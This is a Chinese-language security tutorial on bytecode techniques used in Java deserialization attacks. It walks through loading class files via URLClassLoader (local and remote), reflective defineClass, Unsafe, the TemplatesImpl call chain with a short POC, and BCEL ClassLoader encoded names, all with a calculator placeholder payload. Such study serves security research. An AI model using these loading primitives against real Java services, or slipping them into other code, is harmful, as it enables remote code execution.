Java反序列化之字节码利用技术详解
0x01 字节码基础概念
字节码(ByteCode)是Java虚拟机(JVM)执行使用的一类指令,通常存储在.class文件中。可以将它类比为Dockerfile中的执行命令代码。
字节码的出现使得JVM具有更强的跨平台性,实现了"一次编写,到处运行"的理念。
0x02 动态加载字节码技术
1. 利用URLClassLoader加载远程class文件
URLClassLoader是AppClassLoader的父类,其工作流程如下:
Java根据配置项sun.boot.class.path和java.class.path中的基础路径(处理后的java.net.URL类)来寻找.class文件加载。基础路径分为三种情况:
-
file协议 - 本地文件系统加载
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///E:\\")}); Class calc = urlClassLoader.loadClass("src.Calc"); calc.newInstance(); -
HTTP协议 - 远程加载
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:9999")}); -
file+jar协议 - 加载jar包中的类
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:file:///E:\\Calc.jar!/")}); -
HTTP+jar协议 - 远程加载jar包
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:http://127.0.0.1:9999/Calc.jar!/")});
2. 利用ClassLoader#defineClass直接加载字节码
Java类加载的三个关键方法调用链:
loadClass()- 双亲委派机制查找类findClass()- 根据URL方式加载字节码defineClass()- 将字节流转变成Java类
反射调用defineClass示例:
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:\\Calc.class"));
Class c = (Class) method.invoke(classLoader, "src.Calc", code, 0, code.length);
c.newInstance();
优点:不需要出网即可加载字节码
缺点:需要设置setAccessible(true),常规反射中难以调用
3. 利用Unsafe加载字节码
Unsafe类中也包含defineClass方法,可通过反射调用:
Class<Unsafe> unsafeClass = Unsafe.class;
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe classUnsafe = (Unsafe) unsafeField.get(null);
Method defineClassMethod = unsafeClass.getMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
byte[] code = Files.readAllBytes(Paths.get("E:\\Calc.class"));
Class calc = (Class) defineClassMethod.invoke(classUnsafe, "src.Calc", code, 0, code.length, classLoader, null);
calc.newInstance();
4. 利用TemplatesImpl加载字节码
TemplatesImpl类中包含内部类TransletClassLoader,它重写了defineClass方法,使其变为default类型,可被外部调用。
调用链:
TemplatesImpl#getOutputProperties()
-> TemplatesImpl#newTransformer()
-> TemplatesImpl#getTransletInstance()
-> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()
POC示例:
byte[] code = Files.readAllBytes(Paths.get("E:\\TemplatesBytes.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
关键点:
- 字节码必须继承AbstractTranslet
- 需要设置
_name不为null _tfactory需要是TransformerFactoryImpl对象
5. 利用BCEL ClassLoader加载字节码
BCEL(Apache Commons BCEL)是Apache Xalan的一部分,被包含在JDK原生库中。
使用步骤:
- 使用Repository和Utility类转换字节码
- 生成BCEL格式的特殊字节码
- 使用BCEL ClassLoader加载
示例:
new ClassLoader().loadClass("
$$
BCEL
$$
" + "$l$8b$I$A$A$A$A$A$A$A$8dQMO...");
原理:BCEL的ClassLoader重写了loadClass方法,会判断类名是否以`
\[BCEL \]
`开头,如果是则进行decode处理。
0x03 总结
字节码利用技术的核心目标是加载恶意class文件,关键点包括:
- 理解Java类加载机制和双亲委派模型
- 掌握多种动态加载字节码的方法及其适用场景
- 了解各技术的优缺点和限制条件
- 熟悉反射机制在字节码加载中的应用
- 掌握特殊类加载器(如BCEL ClassLoader)的特性
在实际安全研究中,需要深入分析每种技术背后的原理,而不仅仅是复现POC,这样才能灵活应对各种防御措施和变种情况。